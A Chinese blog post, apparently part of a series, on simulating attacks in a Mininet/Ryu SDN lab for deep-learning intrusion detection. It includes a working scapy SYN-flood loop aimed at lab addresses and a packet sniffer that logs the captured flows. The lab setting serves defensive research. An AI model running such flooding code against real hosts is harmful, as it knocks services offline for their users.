当前位置:   article > 正文

【网络安全】【深度学习】【入侵检测】SDN模拟网络入侵攻击并检测,实时检测,深度学习【二】

【网络安全】【深度学习】【入侵检测】SDN模拟网络入侵攻击并检测,实时检测,深度学习【二】

1. 习惯终端

上次把ubuntu 22自带的终端玩没了,治好用xterm:
以通过 Alt+F2 然后输入 xterm 尝试打开xterm 。
然后输入这个切换默认的终端:

sudo update-alternatives --config x-terminal-emulator
  • 1

这之后就可以用Ctrl+Alt+T打开新终端了。

2. 启动攻击

执行Mininet:

sudo python3 simple_topo.py
  • 1

执行ryu:

ryu-manager simple_switch.py
  • 1

h1机器执行:

python3.8 -c "
from scapy.all import *
target_ip = '10.0.0.2'
target_port = 80
while True:
    send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
python3.8 -c "
from scapy.all import *
target_ip = '192.168.111.102'
target_port = 80
while True:
    send(IP(dst=target_ip)/TCP(dport=target_port,flags='S'),verbose=0)
"
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

3. 接受攻击

在之前的代码中,已经捕获到攻击流量并打印。

from scapy.all import *

def packet_callback(packet):
    if packet.haslayer(IP) and packet.haslayer(TCP):
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        src_port = packet[TCP].sport
        dst_port = packet[TCP].dport
        flags = packet[TCP].flags
        
        print(f"IP: {src_ip} -> {dst_ip}, TCP Port: {src_port} -> {dst_port}, Flags: {flags}")

sniff(iface="h2-eth0", prn=packet_callback, store=0)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

4. 宿主机查看h2机器

网桥

在VM中用网桥好像不行,这个方案得想个完全的办法。我解决了再来写。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/719372
推荐阅读
相关标签
  

闽ICP备14008679号